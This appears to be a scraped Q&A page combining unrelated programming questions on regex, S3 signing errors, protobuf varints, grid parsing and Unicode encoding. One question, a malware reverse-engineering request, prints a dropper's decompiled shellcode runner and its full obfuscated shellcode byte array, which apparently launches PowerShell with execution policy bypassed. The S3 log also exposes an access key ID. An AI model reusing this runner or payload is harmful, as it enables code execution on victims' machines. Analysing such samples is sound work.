I'm trying to exclude some data from a string using regex.
var match = Regex.Match(text, #"^(24 47(.*?)0D 0A)$");
The idea is to filter out and data starting with "24 47" and ending "0D 0A"
The source string:
A0 A1 00 02 83 00 83 0D 0A
A0 A1 00 02 84 1B 9F 0D 0A
24 47 50 47 47 41 2C 31 32 31 39 30 37 2E 30 30 30 2C 32 34 30 30 2E 30 30 30 30 2C 4E 2C 31 32 31 30 30 2E 30 30 30 30 2C 45 2C 30 2C 30 30 2C 30 2E 30 2C 30 2E 30 2C 4D 2C 30 2E 30 2C 4D 2C 2C 30 30 30 30 2A 36 35 0D 0A
24 47 50 47 53 41 2C 41 2C 31 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 2C 30 2E 30 2C 30 2E 30 2C 30 2E 30 2A 33 30 0D 0A
24 47 50 52 4D 43 2C 31 32 31 39 30 37 2E 30 30 30 2C 56 2C 32 34 30 30 2E 30 30 30 30 2C 4E 2C 31 32 31 30 30 2E 30 30 30 30 2C 45 2C 30 30 30 2E 30 2C 30 30 30 2E 30 2C 32 38 30 36 30 36 2C 2C 2C 4E 2A 37 34 0D 0A
24 47 50 56 54 47 2C 30 30 30 2E 30 2C 54 2C 2C 4D 2C 30 30 30 2E 30 2C 4E 2C 30 30 30 2E 30 2C 4B 2C 4E 2A 30 32 0D 0A
But I only want this:
A0 A1 00 02 83 00 83 0D 0A
A0 A1 00 02 84 1B 9F 0D 0A
Your regex requires the entire string to start with "24 47" and end with "0D 0A". You want the multiline option that makes ^ and $ match start/end of each line:
Try
var match = Regex.Match(text, #"^24 47(.*)0D 0A$", RegexOptions.Multiline);
If you want to exclude those lines, then use a negative lookahead:
var match = Regex.Match(text, #"^(?!24 47(.*)0D 0A$).*$", RegexOptions.Multiline);
If you want to find and remove delimited substrings anywhere in a long, contiguous string without line breaks, try this:
resultString = Regex.Replace(subjectString, #"\b24 47(.*?)0D 0A\b", "<removed>");
^ matches the start of a string and $ matches the end. If you are considering that your "24 47" and "0D 0A" is in middle of your string then consider removing ^ and $.
var textFiltered = Regex.Replace(originalText, #"(24 47(.*?)\r\n)", "");
UPDATE
TRY THIS, JUST TESTED:
string replace = Regex.Replace(input, #"(24 47(.*?)0D 0A *(\r\n)*)", "", RegexOptions.Multiline);
Do you need Replace instead of Match?
text = Regex.Replace(text, #"^(24 47(.*?)0D 0A)$", "");
In order to match the special line characters (CR and LF), you have to set the options to Singleline. And you have to replace with empty string.
text = Regex.Replace(text, #"^(24 47(.*?)\r\n)$", "", RegexOptions.Singleline );
See here.
You can iterate over the list of strings, try to match the regex ^24 47.*0D 0A $, and select those strings in case of which the match is not successful. Note the extra space before the $. The example strings you gave end with a space.
Related
Getting this error when try to run a GET request on AWS s3. Detailed logs are attached below. Please help
26-Dec-2022 12:26:00 send error: List multipart uploads for key recovery/Récupération_VOL-b001.spf
Unexpected response status code: 403
Error response:
Code: SignatureDoesNotMatch
Message: The request signature we calculated does not match the signature you provided. Check your key and signing method.
AWSAccessKeyId: AKIA4OGRTV42ZXNBHH47
StringToSign: AWS4-HMAC-SHA256
20221226T065419Z
20221226/us-east-2/s3/aws4_request
34482fccab5255ab299ba1a1afe1429ab3b00d25920506f2b26eed3e695d0aaa
SignatureProvided: be3902f4cc91f6263ee88b6c2e90de2ad75858655aa6cb5205fb1950b149677f
StringToSignBytes: 41 57 53 34 2d 48 4d 41 43 2d 53 48 41 32 35 36 0a 32 30 32 32 31 32 32 36 54 30 36 35 34 31 39 5a 0a 32 30 32 32 31 32 32 36 2f 75 73 2d 65 61 73 74 2d 32 2f 73 33 2f 61 77 73 34 5f 72 65 71 75 65 73 74 0a 33 34 34 38 32 66 63 63 61 62 35 32 35 35 61 62 32 39 39 62 61 31 61 31 61 66 65 31 34 32 39 61 62 33 62 30 30 64 32 35 39 32 30 35 30 36 66 32 62 32 36 65 65 64 33 65 36 39 35 64 30 61 61 61
CanonicalRequest: GET
/
prefix=recovery%2FR%C3%83%C2%A9cup%C3%83%C2%A9ration_VOL-b001.spf&uploads=
host:recoverybucket333.s3.us-east-2.amazonaws.com
x-amz-content-sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date:20221226T065419Z
host;x-amz-content-sha256;x-amz-date
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
CanonicalRequestBytes: 47 45 54 0a 2f 0a 70 72 65 66 69 78 3d 72 65 63 6f 76 65 72 79 25 32 46 52 25 43 33 25 38 33 25 43 32 25 41 39 63 75 70 25 43 33 25 38 33 25 43 32 25 41 39 72 61 74 69 6f 6e 5f 56 4f 4c 2d 62 30 30 31 2e 73 70 66 26 75 70 6c 6f 61 64 73 3d 0a 68 6f 73 74 3a 72 65 63 6f 76 65 72 79 62 75 63 6b 65 74 33 33 33 2e 73 33 2e 75 73 2d 65 61 73 74 2d 32 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 0a 78 2d 61 6d 7a 2d 63 6f 6e 74 65 6e 74 2d 73 68 61 32 35 36 3a 65 33 62 30 63 34 34 32 39 38 66 63 31 63 31 34 39 61 66 62 66 34 63 38 39 39 36 66 62 39 32 34 32 37 61 65 34 31 65 34 36 34 39 62 39 33 34 63 61 34 39 35 39 39 31 62 37 38 35 32 62 38 35 35 0a 78 2d 61 6d 7a 2d 64 61 74 65 3a 32 30 32 32 31 32 32 36 54 30 36 35 34 31 39 5a 0a 0a 68 6f 73 74 3b 78 2d 61 6d 7a 2d 63 6f 6e 74 65 6e 74 2d 73 68 61 32 35 36 3b 78 2d 61 6d 7a 2d 64 61 74 65 0a 65 33 62 30 63 34 34 32 39 38 66 63 31 63 31 34 39 61 66 62 66 34 63 38 39 39 36 66 62 39 32 34 32 37 61 65 34 31 65 34 36 34 39 62 39 33 34 63 61 34 39 35 39 39 31 62 37 38 35 32 62 38 35 35
RequestId: 1SKCZB7ZCJJK4RMC
HostId: qQ/ElU917KLt7vm15qnfCvAZhb8NqL0GXyHt/dCcd6LOL76OhEz7C9bQ5i2zR2B0LO8xpHSvPYc+oe68V/usCA==
26-Dec-2022 12:26:00 Sending Récupération_VOL-b001.spf
26-Dec-2022 12:26:19 send error: List multipart uploads for key recovery/Récupération_VOL-b001.spf
Unexpected response status code: 403
I am trying to upload some files on S3 bucket and it is working for normal file names but not working when the file name contains some ASCII chars or accent marks. It failed with the above error shown in the description.
I am currently reverse engineering a piece of .NET PE malware that drop shellcode using the CreateThread function and a block of data.
This is the shellcodeRunner function as decompiled by monodis (im on linux)
.maxstack 6
.locals init (
unsigned int8[] V_0,
int32 V_1,
native int V_2,
int32 V_3)
IL_0000: ldstr "[+] Running shellcode..."
IL_0005: call void class [mscorlib]System.Console::WriteLine(string)
IL_000a: ldc.i4 1339
IL_000f: newarr [mscorlib]System.Byte
IL_0014: dup
IL_0015: ldtoken field valuetype '<PrivateImplementationDetails>'/'__StaticArrayInitTypeSize=1339' '<PrivateImplementationDetails>'::34D84C3D147ABF5A05B8FF8851822AACADD1A91EBDE633F0C7C82779CCC23977
IL_001a: call void class [mscorlib]System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(class [mscorlib]System.Array, valuetype [mscorlib]System.RuntimeFieldHandle)
IL_001f: stloc.0
IL_0020: ldc.i4.0
IL_0021: stloc.3
IL_0022: br.s IL_0037
IL_0024: ldloc.0
IL_0025: ldloc.3
IL_0026: ldloc.0
IL_0027: ldloc.3
IL_0028: ldelem.u1
IL_0029: ldc.i4.2
IL_002a: sub
IL_002b: ldc.i4 255
IL_0030: and
IL_0031: conv.u1
IL_0032: stelem.i1
IL_0033: ldloc.3
IL_0034: ldc.i4.1
IL_0035: add
IL_0036: stloc.3
IL_0037: ldloc.3
IL_0038: ldloc.0
IL_0039: ldlen
IL_003a: conv.i4
IL_003b: blt.s IL_0024
IL_003d: ldloc.0
IL_003e: ldlen
IL_003f: conv.i4
IL_0040: stloc.1
IL_0041: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0046: ldloc.1
IL_0047: ldc.i4 12288
IL_004c: ldc.i4.s 0x40
IL_004e: call native int class dropper.Program::VirtualAlloc(native int, int32, unsigned int32, unsigned int32)
IL_0053: stloc.2
IL_0054: ldloc.0
IL_0055: ldc.i4.0
IL_0056: ldloc.2
IL_0057: ldloc.1
IL_0058: call void class [mscorlib]System.Runtime.InteropServices.Marshal::Copy(unsigned int8[], int32, native int, int32)
IL_005d: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0062: ldc.i4.0
IL_0063: ldloc.2
IL_0064: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0069: ldc.i4.0
IL_006a: ldc.i4.0
IL_006b: call native int class dropper.Program::CreateThread(native int, unsigned int32, native int, native int, unsigned int32, unsigned int32)
IL_0070: ldc.i4.m1
IL_0071: call int32 class dropper.Program::WaitForSingleObject(native int, int32)
IL_0076: pop
IL_0077: ret
} // end of method Program::shellcodeRunner
And this is the shellcode presumably passed to the shellcodeRunner function.
.data D_000032e4 = bytearray (
FE 4A 85 E6 F2 EA C2 02 02 02 43 53 43 52 54 53
58 4A 33 D4 67 4A 8D 54 62 4A 8D 54 1A 4A 8D 54
22 4A 8D 74 52 4A 11 B9 4C 4C 4F 33 CB 4A 33 C2
AE 3E 63 7E 04 2E 22 43 C3 CB 0F 43 03 C3 E4 EF
54 43 53 4A 8D 54 22 8D 44 3E 4A 03 D2 8D 82 8A
02 02 02 4A 87 C2 76 69 4A 03 D2 52 8D 4A 1A 46
8D 42 22 4B 03 D2 E5 58 4A 01 CB 43 8D 36 8A 4A
03 D8 4F 33 CB 4A 33 C2 AE 43 C3 CB 0F 43 03 C3
3A E2 77 F3 4E 05 4E 26 0A 47 3B D3 77 DA 5A 46
8D 42 26 4B 03 D2 68 43 8D 0E 4A 46 8D 42 1E 4B
03 D2 43 8D 06 8A 4A 03 D2 43 5A 43 5A 60 5B 5C
43 5A 43 5B 43 5C 4A 85 EE 22 43 54 01 E2 5A 43
5B 5C 4A 8D 14 EB 59 01 01 01 5F 4A BC 03 02 02
02 02 02 02 02 4A 8F 8F 03 03 02 02 43 BC 33 8D
71 89 01 D7 BD E2 1F 2C 0C 43 BC A8 97 BF 9F 01
D7 4A 85 C6 2A 3E 08 7E 0C 82 FD E2 77 07 BD 49
15 74 71 6C 02 5B 43 8B DC 01 D7 72 71 79 67 74
75 6A 67 6E 6E 30 67 7A 67 22 2F 67 72 22 64 7B
72 63 75 75 22 2F 67 70 65 22 4C 43 44 35 43 49
4F 43 4B 43 43 3B 43 45 43 43 59 79 44 56 43 4A
6D 43 65 79 44 32 43 49 57 43 64 53 43 77 43 47
36 43 5C 53 44 32 43 45 36 43 58 79 44 6E 43 49
4B 43 53 79 44 75 43 49 6D 43 5C 53 44 77 43 4A
53 43 5A 53 43 38 43 46 71 43 64 69 44 6E 43 4A
65 43 4D 43 43 72 43 46 75 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 45 43 43 52 53 43 69 43 45
65 43 63 43 44 32 43 4A 53 43 65 43 44 7C 43 46
71 43 4E 79 43 78 43 49 69 43 5C 53 44 7B 43 49
47 43 64 69 44 7C 43 49 3A 43 64 53 44 35 43 49
47 43 65 69 44 6E 43 45 36 43 64 69 44 75 43 45
3A 43 64 43 44 7C 43 49 53 43 63 79 44 6A 43 49
5B 43 63 69 43 36 43 49 5B 43 63 69 44 6A 43 49
5B 43 4F 69 43 7C 43 46 6D 43 51 43 44 6F 43 4A
57 43 64 43 44 7C 43 49 53 43 4E 79 44 6E 43 4A
5B 43 63 53 44 75 43 45 36 43 66 43 44 36 43 4A
53 43 4C 79 43 39 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 69 43 46
32 43 4B 43 43 70 43 47 57 43 54 69 43 33 43 46
6D 43 53 69 43 37 43 47 57 43 51 53 44 48 43 46
47 43 4F 43 43 7A 43 47 5B 43 54 53 44 47 43 46
4B 43 4F 69 43 7A 43 46 57 43 4F 43 44 47 43 46
4F 43 51 43 43 7C 43 46 4B 43 53 53 43 7A 43 46
4F 43 50 53 44 46 43 47 5B 43 4F 69 43 79 43 46
4B 43 53 53 43 32 43 47 5B 43 50 79 43 34 43 46
53 43 53 69 43 7A 43 47 5B 43 50 53 44 44 43 46
53 43 53 79 44 44 43 46 57 43 53 79 44 45 43 47
57 43 50 69 43 34 43 46 65 43 53 69 43 79 43 46
47 43 50 43 44 45 43 46 47 43 53 69 44 48 43 46
57 43 4C 79 43 39 43 45 43 43 4C 43 44 49 43 49
6D 43 64 43 44 6E 43 47 69 43 5B 53 44 7C 43 49
69 43 4B 43 43 3B 43 45 43 43 54 79 44 6E 43 4A
53 43 4E 53 44 49 43 49 6D 43 64 43 44 6E 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 47
6D 43 64 69 44 79 43 4A 57 43 66 43 44 56 43 4A
53 43 65 69 44 6E 43 49 47 43 64 53 43 69 43 45
69 43 4C 43 44 35 43 49 4F 43 4E 69 44 52 43 4A
43 43 5C 53 44 77 43 48 4B 43 5C 53 44 6A 43 49
53 43 4D 43 43 6D 43 4A 53 43 5B 53 44 7B 43 49
65 43 5C 53 44 32 43 4A 57 43 65 69 44 75 43 45
6D 43 4D 53 43 39 43 45 43 43 55 53 44 6F 43 45
43 43 4D 43 43 6D 43 47 5B 43 63 53 44 75 43 49
57 43 55 43 44 6A 43 4A 4F 43 63 43 43 77 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 49
57 43 65 53 43 69 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 72 43 45
43 43 67 79 44 4C 43 47 57 43 59 43 43 71 43 45
53 43 66 79 44 6C 43 45 36 43 54 43 44 78 43 4A
65 43 64 69 44 75 43 49 3A 43 5B 53 44 6D 43 48
4F 43 66 43 44 7B 43 49 6D 43 64 69 44 70 43 45
69 43 4C 43 44 32 43 49 47 43 65 69 44 70 43 49
57 43 66 43 44 33 43 4A 4B 43 64 43 43 72 43 45
6D 43 68 53 43 69 43 47 57 43 64 43 44 7C 43 49
57 43 4B 43 44 39 43 48 65 43 65 69 44 72 43 4A
53 43 5C 53 43 76 43 47 69 43 64 79 44 7C 43 4A
53 43 4B 43 44 64 43 45 32 43 5A 53 43 69 43 47
4F 43 64 79 44 33 43 49 79 43 5C 43 43 69 43 49
36 43 64 79 44 32 43 45 43 43 5B 79 44 78 43 49
36 43 64 69 44 6E 43 49 4F 43 66 43 43 69 43 4A
65 43 63 53 44 32 43 49 69 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 4A 32 43 02) // size: 1339
What tool could I use to disassemble the instructions contained in the data. Running monodis on the data only does not work, as it contains no header table of its own. Is there any 'force' parameter to monodis that allows it to still disassemble the data?
Any help on this matter would be much appreciated.
I was able to disassemble the data portion by selecting and right-clicking > disassemble in Ghidra. Thanks to Dai for the insight.
I found some helpful post, but need clarification. I have a matrix with a list of numbers in it, separated by a space between each number.
08 02 22 97 38 15 00 40 00 75 04 05 07 78 52 12 50 77 91 08
49 49 99 40 17 81 18 57 60 87 17 40 98 43 69 48 04 56 62 00
81 49 31 73 55 79 14 29 93 71 40 67 53 88 30 03 49 13 36 65
52 70 95 23 04 60 11 42 69 24 68 56 01 32 56 71 37 02 36 91
22 31 16 71 51 67 63 89 41 92 36 54 22 40 40 28 66 33 13 80
24 47 32 60 99 03 45 02 44 75 33 53 78 36 84 20 35 17 12 50
32 98 81 28 64 23 67 10 26 38 40 67 59 54 70 66 18 38 64 70
67 26 20 68 02 62 12 20 95 63 94 39 63 08 40 91 66 49 94 21
24 55 58 05 66 73 99 26 97 17 78 78 96 83 14 88 34 89 63 72
21 36 23 09 75 00 76 44 20 45 35 14 00 61 33 97 34 31 33 95
78 17 53 28 22 75 31 67 15 94 03 80 04 62 16 14 09 53 56 92
16 39 05 42 96 35 31 47 55 58 88 24 00 17 54 24 36 29 85 57
86 56 00 48 35 71 89 07 05 44 44 37 44 60 21 58 51 54 17 58
19 80 81 68 05 94 47 69 28 73 92 13 86 52 17 77 04 89 55 40
04 52 08 83 97 35 99 16 07 97 57 32 16 26 26 79 33 27 98 66
88 36 68 87 57 62 20 72 03 46 33 67 46 55 12 32 63 93 53 69
04 42 16 73 38 25 39 11 24 94 72 18 08 46 29 32 40 62 76 36
20 69 36 41 72 30 23 88 34 62 99 69 82 67 59 85 74 04 36 16
20 73 35 29 78 31 90 01 74 31 49 71 48 86 81 16 23 57 05 54
01 70 54 71 83 51 54 69 16 92 33 48 61 43 52 01 89 19 67 48
I have read that data into my program with the following code:
string[] listData = File.ReadAllLines("\\Folder1\\GridDat.txt");
List<string[]> partialData = new List<string[]>();
// Read all lines and put them into this array
foreach (string s in listData)
{
partialData.Add(s.Split(' '));
}
fileOut.WriteLine("{0}", partialData);
I believe I have read this into an array or a List of strings, but not sure how access the data from here, so I can print it out to a file.
I'm not certain how you want it formatted in your output file, but this will print them one number on each line:
var lines = System.IO.File.ReadAllLines("C:\\temp\\numbers.txt");
var lineArray = lines.SelectMany(x=>x.Split(' '));
System.IO.File.WriteAllLines("C:\\temp\\txt.txt", lineArray);
SelectMany
This will allow you to pull in the data, manipulate the numbers and then put it back in the original format:
var lines = System.IO.File.ReadAllLines("C:\\temp\\numbers.txt");
var lineArray = lines.Select(x =>
{
var numbers = x.Split(' ');
//do stuff with individual numbers here.
return string.Join(" ", numbers);
}
);
System.IO.File.WriteAllLines("C:\\temp\\txt.txt", lineArray);
Select
everyone,
I am using protobuf-net library to serialize-deserialize text data into binary files. I had similar error in the past but then i made a mistake of writing binary data to a text file. This time i am sure that the file is written in Binary mode. While I read the data, I get EndOfStream exception: Attempted to read past the end of the stream.
I have a message header before each object in binary file.
message HeaderMessage {
required double timestamp = 1;
required string ric_code = 2;
required int32 count = 3;
required int32 total_message_size = 4;
}
I am getting exception when i am reading total_message_size field at fixed location
HEADER: 1111 1 1 hk 0
File: 398909440 bytes
Reading data objects:
1073561: 09 e3 a5 9b c4 0c b3 e0 40 12 07 31 30 39 33 2e 48 4b 18 04 20 5a
1073677: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 39 37 2e 48 4b 18 02 20 2d
1073748: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 39 37 2e 48 4b 18 04 20 5a
1073864: 09 e3 a5 9b c4 0c b3 e0 40 12 07 38 31 37 33 2e 48 4b 18 02 20 2d
1073935: 09 e3 a5 9b c4 0c b3 e0 40 12 07 38 31 37 33 2e 48 4b 18 04 20 5b
1074052: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 02 20 2d
1074123: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 36 30 33 2e 48 4b 18 02 20 2d
1074194: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 36 30 33 2e 48 4b 18 04 20 5b
1074311: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 06 20 8a
In the above output, first field is the stream position. Total stream length is 398909440. So its not possible that the stream has reached its end. I tried to print individual fields at the point when it fails to read, I see that the ProtoReader class is always failing to read total_message_size field.
In aboe output, the last row is the culprit where protobuf-net is not able to read the data.
1074311: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 06 20 8a
If we split the fields, the data looks as follows:
field1 timestamp field: type: 09 payload: e3 a5 9b c4 0c b3 e0 40
field2 ric_code field: type: 12 payload: 07 30 32 33 35 2e 48 4b
field3 count field: type: 18 payload: 06
field4 total_message_size: type: 20 payload: 8a
the exception is raised while reading the payload of 4th field and the value is 8a. (decimal 138).
Stack trace is as follows:
at ProtoBuf.ProtoReader.TryReadUInt32VariantWithoutMoving(Boolean trimNegative, UInt32& value) in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 101
at ProtoBuf.ProtoReader.ReadUInt32Variant(Boolean trimNegative) in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 138
at ProtoBuf.ProtoReader.ReadInt32() in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 264
at protobuf_test.Program.Main(String[] args) in H:\Personal\Visual Studio 2010\Projects\protobuf-test\protobuf-test\Program.cs:line 80
at System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args)
at System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args)
at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly()
at System.Threading.ThreadHelper.ThreadStart_Context(Object state)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()
what is the issue in reading the value 138? What is the issue in this case?
Regards,
Alok
0x8a is not a valid varint. Varint encoding uses the MSB as a continuation bit, meaning: if the MSB is set, there is at least one more byte expected (it continues until the MSB is not set, combining the remaining 7-bit chunks little-endian style). Consequently, 0x8a cannot exist by itself in a valid varint. 0x8a and something else, sure. You can see this in the wire spec. Please ensure you haven't accidentally cut the end off this individual message, or misreported the length (since I gather each record is individually wrapped with a size prefix).
The intention of the code is printing unicode as japanese characters to a file
String s = "\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u307e\u305b\u3093";
var Bytes = Encoding.Unicode.GetBytes(s);
string key = Encoding.UTF8.GetString(Encoding.Convert(Encoding.Unicode, Encoding.UTF8, Bytes));
Key is I want to print to file but has the value \u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u307e\u305b\u3093 Any ideas whats wrong?
What's wrong is that a string (key) has no notion of the bytes used to store it. In this case, your string is:
String:
アップロードするファイルが指定されていません
this is exactly what
"\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u304c\u6307\u5b9a\u3055\u308c\u3066\u3044\u307e\u305b\u3093"
means. The expression '\u30a3' looks like 2 Unicode bytes, but it actually just means the character 'ア'.
if you save to a UTF-8 file, the bytes written will be:
UTF-8 bytes
File.WriteAllText("temp.txt", "アップロードするファイルが指定されていません", Encoding.UTF8);
The contents will be (in bytes)
E3 82 A2 E3 83 83 E3 83 97 E3 83 AD E3 83 BC E3 83 89 E3 81 99 E3 82 8B E3 83
95 E3 82 A1 E3 82 A4 E3 83 AB E3 81 8C E6 8C 87 E5 AE 9A E3 81 95 E3 82 8C E3
81 A6 E3 81 84 E3 81 BE E3 81 9B E3 82 93
UTF-16 bytes
File.WriteAllText("temp.txt", "アップロードするファイルが指定されていません", Encoding.Unicode);
The contents will be (in bytes)
A2 30 C3 30 D7 30 ED 30 FC 30 C9 30 59 30 8B 30 D5 30 A1 30 A4 30 EB 30 4C 30
07 63 9A 5B 55 30 8C 30 66 30 44 30 7E 30 5B 30 93 30
One doesn't "convert" Unicode to UTF-8 :-/
Unicode, besides being the parent for the entire set of specifications, can be thought of as "simply" defining code-points/characters and the rules of interaction. The UTF-8 encoding is the specific set of rules to map a sequence of Unicode code-points into a sequence of octets (8-bit bytes).
Try this in LINQPad:
String s = "\u30a2\u30c3\u30d7\u30ed";
s.Dump(); // original string
var bytes = Encoding.UTF8.GetBytes(s);
bytes.Dump(); // see UTF-8 encoded byte sequence
string key = Encoding.UTF8.GetString(bytes);
key.Dump(); // contents restored
The UTF-8 exists only in bytes.
Happy coding.